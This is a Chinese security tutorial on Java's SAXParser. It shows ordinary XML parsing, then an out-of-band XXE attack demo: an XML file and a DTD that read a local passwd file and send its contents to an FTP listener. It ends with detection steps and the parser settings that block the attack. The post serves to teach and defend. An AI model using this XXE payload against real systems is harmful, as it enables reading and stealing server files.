0x01 何为SAXParser

Java中javax.xml.parsers下的常用的解析XML格式内容的类。

0x02 常规用法Demo

先定义一个user.xml,用于让DocumentBuilder来解析:

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8"?>
<user>
<name>Mi1k7ea</name>
<sex>male</sex>
<age>20</age>
</user>

Demo代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public class test {
public static void main(String[] args) throws Exception{
File f = new File("user.xml");
saxParser(f);
}

public static void saxParser(File f){
try {
SAXParserFactory saxParserFactory = SAXParserFactory.newInstance();
SAXParser saxParser = saxParserFactory.newSAXParser();
MyDefaultHandler defaultHandler = new MyDefaultHandler();
saxParser.parse(f, defaultHandler);
char[] c = {};
defaultHandler.characters(c, 0, 1);
} catch (Exception e) {
e.printStackTrace();
}
}
}

这里输出的话需要自己来写下解析代码,这里示例是继承DefaultHandler类重写characters()方法即可输出:

1
2
3
4
5
6
7
public class MyDefaultHandler extends DefaultHandler {
public void characters (char ch[], int start, int length)
throws SAXException
{
System.out.println(ch);
}
}

运行后,发现成功解析了user.xml的内容,但是有瑕疵,输出多次了:

0x03 XML注入漏洞验证

具体的步骤参考之前的博客《XML注入之DocumentBuilder与XXE攻击防御》,这里不再赘述。

下面只进行无回显外带OOB攻击Demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class test {
public static void main(String[] args) throws Exception{
File f = new File("ftp.xml");
saxParser(f);
}

public static void saxParser(File f){
try {
SAXParserFactory saxParserFactory = SAXParserFactory.newInstance();
SAXParser saxParser = saxParserFactory.newSAXParser();
MyDefaultHandler defaultHandler = new MyDefaultHandler();
saxParser.parse(f, defaultHandler);
} catch (Exception e) {
e.printStackTrace();
}
}
}

ftp.xml

1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///e:/passwd">
<!ENTITY % remote SYSTEM "http://127.0.0.1/xxe/ftp.dtd">
%remote;
%all;
]>
<root>&send;</root>

ftp.dtd

1
<!ENTITY % all "<!ENTITY send SYSTEM 'ftp://127.0.0.1:21/%file;'>">

运行本地FTPServer接收数据:

0x04 检测方法

1、在Java项目中搜索javax.xml.parsers下的SAXParser和SAXParserFactory,排查是否使用了该API解析XML文档内容;

2、若使用了,则进一步排查是否禁用了不安全的操作,具体的是看setFeature()的设置是否存在绕过的可能;

0x05 防御方法

1
2
3
4
saxParser.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
saxParser.setFeature("http://xml.org/sax/features/external-general-entities", false);
saxParser.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
saxParser.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);